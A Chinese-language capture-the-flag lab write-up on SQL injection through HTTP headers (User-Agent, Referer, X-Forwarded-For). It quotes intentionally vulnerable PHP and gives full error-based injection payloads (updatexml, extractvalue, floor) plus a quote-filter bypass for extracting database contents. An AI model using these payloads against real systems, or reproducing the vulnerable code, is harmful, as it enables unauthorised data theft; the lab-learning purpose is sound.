1. 程式人生 > 其它 >封神臺-Head注入

封神臺-Head注入

思維導圖

Head注入(一)

核心程式碼

$username = $_POST['username'];
$password = $_POST['password'];
$uagent = $_SERVER['HTTP_USER_AGENT'];
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('為了網站安全性,禁止輸入某些特定符號');}
mysqli_select_db($conn,'****');//不想告訴你庫名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')";
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登入';

我們注意到這裡的語句

$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('為了網站安全性,禁止輸入某些特定符號');}

它這裡是有對輸入輸入框的單引號'做過濾的,所以我們要換一條路,不能直接在輸入框嘗試。

我們往下看,注意到程式碼

if($row){
$Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')";
$result1 = mysqli_query($conn,$Insql);

它這裡的意思很簡單,其實就是如果我們登陸成功了,就會把我們User-Agent和username記錄到資料庫裡面

那麼我們這裡是不是可以通過User-Agent這裡找到另一條路,我們可以採用報錯注入

採用updatexml報錯注入法查詢資料庫名

修改User-Agent為:
' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

然後進行登入(admin&123456)【這裡的使用者名稱密碼是需要我們猜出來的】

然後成功爆出資料庫名:head_error

查詢當前庫下表名

User-Agent:
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '

得出表名:flag_head,ip,refer,uagent,user

查詢flag_head表下欄位名

User-Agent:
' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag_head'),0x7e),1) or '

得出flag-head表字段名:Id,flag_h1

查詢flag_head表下flag_h1欄位資料

User-Agent:
' or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head),0x7e),1) or '

得到flag_head表下flag_h1資料:zKaQ-YourHd,zKaQ-Refer,zKaQ-ipip

提交驗證,zKaQ-YourHd是本題flag

Head注入(二)

核心程式碼

$username = $_POST['username'];
$password = $_POST['password'];
$uagent = $_SERVER['HTTP_REFERER'];
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('為了網站安全性,禁止輸入某些特定符號');}
mysqli_select_db($conn,'****');//不想告訴你庫名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO refer (`refer`,`username`) VALUES ('$uagent','$uname')";
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登入';

我們注意到這一題基本程式碼和上一題是很像的,只不過本題放入資料庫儲存的不再是User-Agent,變成了Refer頭,仍屬於Head頭注入

本題我們仍採用報錯注入,這裡換一種方式,採用語句extractvalue

查詢資料庫名

Refer:
' or extractvalue(1,concat(0x7e,(select database()),0x7e)) or '

得到資料庫名:head_error

查詢當前庫下表名

Refer:
' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) or '

得出當前庫下表名:flag_head,ip,refer,uagent,user

查詢flag_head表字段名

Refer:
' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag_head'),0x7e)) or '

得出flag_head表字段名:Id,flag_h1

查詢flag_head表下flag_h1資料

Refer:
' or extractvalue(1,concat(0x7e,(select group_concat(flag_h1) from flag_head),0x7e)) or '

得到flag_head表下flag_h1資料:zKaQ-YourHd,zKaQ-Refer,zKaQ-ipip

提交驗證,zKaQ-Refer是本題flag

Head注入(三)

核心程式碼


function getip()
{
	if (getenv('HTTP_CLIENT_IP'))
	{
		$ip = getenv('HTTP_CLIENT_IP'); 
	}
	elseif (getenv('HTTP_X_FORWARDED_FOR')) 
	{ 
		$ip = getenv('HTTP_X_FORWARDED_FOR');
	}
	elseif (getenv('HTTP_X_FORWARDED')) 
	{ 
		$ip = getenv('HTTP_X_FORWARDED');
	}
	elseif (getenv('HTTP_FORWARDED_FOR'))
	{
		$ip = getenv('HTTP_FORWARDED_FOR'); 
	}
	elseif (getenv('HTTP_FORWARDED'))
	{
		$ip = getenv('HTTP_FORWARDED');
	}
	else
	{ 
		$ip = $_SERVER['REMOTE_ADDR'];
	}
	return $ip;
}
$username = $_POST['username'];
$password = $_POST['password'];
$ip = getip();
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('為了網站安全性,禁止輸入某些特定符號');}
mysqli_select_db($conn,'****');//不想告訴你庫名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO ip (`ip`,`username`) VALUES ('$ip','$uname')";
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登入';

我們注意到他這裡用了一個很有意思的函式

function getip()
{
	if (getenv('HTTP_CLIENT_IP'))
	{
		$ip = getenv('HTTP_CLIENT_IP'); 
	}
	elseif (getenv('HTTP_X_FORWARDED_FOR')) 
	{ 
		$ip = getenv('HTTP_X_FORWARDED_FOR');
	}
	elseif (getenv('HTTP_X_FORWARDED')) 
	{ 
		$ip = getenv('HTTP_X_FORWARDED');
	}
	elseif (getenv('HTTP_FORWARDED_FOR'))
	{
		$ip = getenv('HTTP_FORWARDED_FOR'); 
	}
	elseif (getenv('HTTP_FORWARDED'))
	{
		$ip = getenv('HTTP_FORWARDED');
	}
	else
	{ 
		$ip = $_SERVER['REMOTE_ADDR'];
	}
	return $ip;
}

這個函式可以獲取當前登入該網站的使用者的IP資訊

而且我們注意到它這裡獲取的IP資訊也被儲存到資料庫裡面了,而且沒有進行過濾

所以我們可以針對他這個X-Forwarded-For進行注入,仍然屬於Head注入

於是接下來我們開始注入,這裡我們採用另一種不同的方式floor報錯注入方式

查詢資料庫資訊

新增X-Forwarded-For: 
' or (select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e)))
from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
or '

得出資料庫名:head_error

查詢表名資訊

修改X-Forwarded-For:
' or (select 1 from(select count(*),concat((select (select (select concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '

得出當前庫下表名:flag_head,ip,refer,uagent,user

查詢flag_head表下欄位資訊

修改X-Forwarded-For:
' or (select 1 from(select count(*),concat((select (select (select concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag_head'),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '

得出flag_head表下欄位為:Id,flag_h1

查詢flag_head表下flag_h1資料

修改X-Forwarded-For:
' or (select 1 from(select count(*),concat((select (select (select concat(0x7e,(select group_concat(flag_h1) from flag_head),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '

得出flag_head表下flag_h1資料:zKaQ-YourHd,zKaQ-Refer,zKaQ-ipip

經過驗證zKaQ-ipip為本題flag

額外補充
我們知道上面三個Head注入靶場都有對單引號'進行過濾,但是我們其實可以進行繞過

我們在第一個框中填入\,在第二個框中填入or 1=1 -- qwe就可以進行繞過

實際執行程式碼

select *from user where username ='\' and password='or 1=1 -- qwe'

後續按照常規顯錯注入進行即可